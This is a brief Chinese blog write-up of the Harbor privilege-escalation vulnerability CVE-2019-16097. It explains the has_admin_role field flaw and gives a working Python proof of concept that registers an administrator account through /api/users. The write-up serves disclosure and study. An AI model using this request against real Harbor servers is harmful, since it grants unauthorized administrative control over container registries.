美文网首页互联网漏洞文章收集
harbor越权漏洞(CVE-2019-16097)

harbor越权漏洞(CVE-2019-16097)

作者: ffx_01 | 来源:发表于2019-10-29 23:58 被阅读0次

    漏洞介绍

    这个漏洞可以在注册发送post包时,加入has_admin_role:true就可以直接注册成为管理员,下图可以看看user的结构:

    image.png
    有很多属性,此处我们关注的是”HasAdminRole”这个属性。这个字段用来区分管理员与普通用户,值是bool类型,控制这个字段我们就能利用这个漏洞了。
    访问“/api/users”这个api,并且发送相应的post请求就能注册新用户。
    image.png
    漏洞代码位于user.go的第317行:
    if err := ua.DecodeJSONReq(&user); err != nil
    这段代码将用户的post的数据转换为user结构,类似如下格式:
    {“username”:”test”,”email”:”test123@gmai.com”,”realname”:”no name”,”password”:”Password1\u0021″,”comment”:null}
    如果我们在json数据包中加入“has_admin_role” = True这个字段,就能顺利的注册为管理员。

    poc

    from urllib.parse import urljoin
    
    import requests
    
    data = {
    
    "username": "test",
    
    "email": "test@qq.com",
    
    "realname": "test",
    
    "password": "testAA123",
    
    "has_admin_role": True
    
    }
    
    url = "https://vuln.com"
    
    response = requests.post(
    
    url=urljoin(url, 'api/users'),
    
    json=data,
    
    verify=False
    
    )
    
    print(response.status_code)
    
    print(response.text)
    
    if response.status_code == 201:
    
    print("success")
    
    else:
    
    print("fail")
    

    相关文章

      网友评论

        本文标题:harbor越权漏洞(CVE-2019-16097)

        本文链接:https://www.haomeiwen.com/subject/dpsnvctx.html